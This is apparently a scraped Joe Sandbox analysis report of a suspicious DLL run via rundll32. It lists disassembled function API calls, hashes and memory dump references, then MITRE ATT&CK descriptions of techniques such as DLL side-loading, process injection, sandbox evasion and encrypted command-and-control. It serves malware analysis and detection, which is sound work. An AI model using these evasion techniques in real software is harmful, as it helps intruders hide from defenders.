String ID:
API String ID: 253863441-0
Opcode ID: 64c69bc371721079bdc1bf258f2505dcba8f2cd72626474b2ed07cb28abb47f4
Instruction ID: f36482295d6ae8d1249328a3bfa198cc7fe444f9f309419e268ec8cee64289aa
Opcode Fuzzy Hash: 64c69bc371721079bdc1bf258f2505dcba8f2cd72626474b2ed07cb28abb47f4
Instruction Fuzzy Hash: EA516E71B0450ECBCF108FA9D84A2AD7B75FF46318F310146E490AAF65CB758576CB94

Function 6CE01746 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6CE029F7: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6CE06F4F,?,00000000,-00000008), ref: 6CE02A58

GetLastError.KERNEL32 ref: 6CE017AA
__dosmaperr.LIBCMT ref: 6CE017B1
GetLastError.KERNEL32(?,?,?,?), ref: 6CE017EB
__dosmaperr.LIBCMT ref: 6CE017F2

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 05327dd2c701c0f1a7c116ec7e5a8d3fefa493dd10110a8d0609399f618fc631
Instruction ID: e4e178805b4d84699e39adf2c7582494381897765bbe1f4bcf2c3237eedc91e5
Opcode Fuzzy Hash: 05327dd2c701c0f1a7c116ec7e5a8d3fefa493dd10110a8d0609399f618fc631
Instruction Fuzzy Hash: 1921A131704709AF8B119FE6888099BB7B9FF0236D728461DE8249BF50E735ED6587E0

Function 6CE02A9A Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6CE02AA2

Part of subcall function 6CE029F7: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6CE06F4F,?,00000000,-00000008), ref: 6CE02A58

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6CE02ADA
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6CE02AFA

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 646016e230ab1faf1221836b8924076f2170056eae2348ccc58a57dc8f990b7d
Instruction ID: bc299266615f033433fceab422444576d3a487d0c7add8bbb701df64d653b1af
Opcode Fuzzy Hash: 646016e230ab1faf1221836b8924076f2170056eae2348ccc58a57dc8f990b7d
Instruction Fuzzy Hash: F411C8B1B016167FAA211BB59C8CCAF79FCEF6A29C7250118F810D2600FF61DE2685F5

Function 6CE07FFD Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,6CDFB3AB,00000000,00000000,?,6CE06691,00000000,00000001,?,?,?,6CE00A8A,?,00000000,00000000), ref: 6CE08014
GetLastError.KERNEL32(?,6CE06691,00000000,00000001,?,?,?,6CE00A8A,?,00000000,00000000,?,?,?,6CE01064,00000000), ref: 6CE08020

Part of subcall function 6CE07FE6: CloseHandle.KERNEL32(FFFFFFFE,6CE08030,?,6CE06691,00000000,00000001,?,?,?,6CE00A8A,?,00000000,00000000,?,?), ref: 6CE07FF6

___initconout.LIBCMT ref: 6CE08030

Part of subcall function 6CE07FA8: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6CE07FD7,6CE0667E,?,?,6CE00A8A,?,00000000,00000000,?), ref: 6CE07FBB

WriteConsoleW.KERNEL32(00000000,00000000,6CDFB3AB,00000000,?,6CE06691,00000000,00000001,?,?,?,6CE00A8A,?,00000000,00000000,?), ref: 6CE08045

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 37fe1c7d61852559f6f74be2488bb471c1462b4f644afdb947b44810a8cd1f59
Instruction ID: ae0e8ae2bedb407b99114540c7c5e66b801302afc096c9d5f94265ab553b0e30
Opcode Fuzzy Hash: 37fe1c7d61852559f6f74be2488bb471c1462b4f644afdb947b44810a8cd1f59
Instruction Fuzzy Hash: 85F09236B45118BBCF221E96CC09A8A3F76FB0A3A5F145514FA2996660D7328930DBD4

Function 6CDF4B2B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 6CDF4B50

Strings

RCC, xrefs: 6CDF4B6A
MOC, xrefs: 6CDF4B62

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ce801cd692d3be67632b8fe6154fac62e3d0384acc0ec761ea2b0578f3760996
Instruction ID: a584b4cf2513032bfd38ae0f042e7a4af276e18fcecbe1849f6c396b7004ec98
Opcode Fuzzy Hash: ce801cd692d3be67632b8fe6154fac62e3d0384acc0ec761ea2b0578f3760996
Instruction Fuzzy Hash: C1417C72900209EFDF06CF94CE90AEE7BB5FF48308F164159F9286B621D3359A52DB61

Function 6CDFFA63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

mydllmain.UIFTTNKL2R(00000FA0,-00000020,6CE00071,6CE00071,-00000020,00000FA0,00000000,00000000,?,?), ref: 6CDFFA93
InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,6CE00071,-00000020,00000FA0,00000000,00000000,?,?), ref: 6CDFFAA3

Strings

InitializeCriticalSectionEx, xrefs: 6CDFFA73

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpinmydllmain
String ID: InitializeCriticalSectionEx
API String ID: 3077948437-3084827643
Opcode ID: da1736f322bb6d95879742bd3d230748d53592139b0e112d7ba787c49aaf225f
Instruction ID: e9e583202fbbc44453027d5fa05d0c3820dc0eea9fef5a97acb3218950ce6ff5
Opcode Fuzzy Hash: da1736f322bb6d95879742bd3d230748d53592139b0e112d7ba787c49aaf225f
Instruction Fuzzy Hash: 49E0653AA41118FBCF112FA4CC08D9E7F71FB04760B118820F92819A20C7328971EBE0

Function 6CDFFA21 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

mydllmain.UIFTTNKL2R(?,00000001,6CDF5FC1,00000001,?,6CDFBC5B,?,?,?,?,?,00000000,6CDFA99A,?,00000000,00000001), ref: 6CDFFA4E

Strings

ccs, xrefs: 6CDFFA27
FlsSetValue, xrefs: 6CDFFA31

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: mydllmain
String ID: FlsSetValue$ccs
API String ID: 979097349-2990521015
Opcode ID: 5aac5473019fc6fd40fc656be20b0dc786fb63fcddf97eb1e833f838aeeb006b
Instruction ID: b1cd2b101636d16eb44f062e61b34da374df09e6815f4be88b3fe25491bfc26e
Opcode Fuzzy Hash: 5aac5473019fc6fd40fc656be20b0dc786fb63fcddf97eb1e833f838aeeb006b
Instruction Fuzzy Hash: 2BE0CD32F4102CB3C61027859C08ED7BF75F7407B2B118461FE2465721DA325931C7D0

Function 6CDFF964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

mydllmain.UIFTTNKL2R(?), ref: 6CDFF98E
TlsAlloc.KERNEL32 ref: 6CDFF998

Strings

FlsAlloc, xrefs: 6CDFF974

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: Allocmydllmain
String ID: FlsAlloc
API String ID: 2444374858-671089009
Opcode ID: 48b098a2ba1b1b700a4fa5a18037902422f65498037332ec06771489e4415e0b
Instruction ID: 67a4105f989c2954a36a5debe8df89624b72cb9b2c8e13de425874eee37125d0
Opcode Fuzzy Hash: 48b098a2ba1b1b700a4fa5a18037902422f65498037332ec06771489e4415e0b
Instruction Fuzzy Hash: 0EE0C236B81228B38A2033508C09A9F7E74EB51765B124420F92851B51CB715922C2E5

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report UiFttnkl2R.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

Windows Analysis Report
UiFttnkl2R.dll

Function 6CDF15A4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 141
fileCOMMONLIBRARYCODE

Function 6CDF2808 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 175
sleepCOMMONLIBRARYCODE

Function 6CDF2EF3 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Function 6CDF141E Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 125
sleepprocessCOMMONLIBRARYCODE

Function 6CDF2FA3 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Function 6CDF2DEC Relevance: 4.6, APIs: 3, Instructions: 76
COMMON

Function 6CDFE038 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 6CE02BC2 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Function 6CDFF70A Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Function 6CDF1000 Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE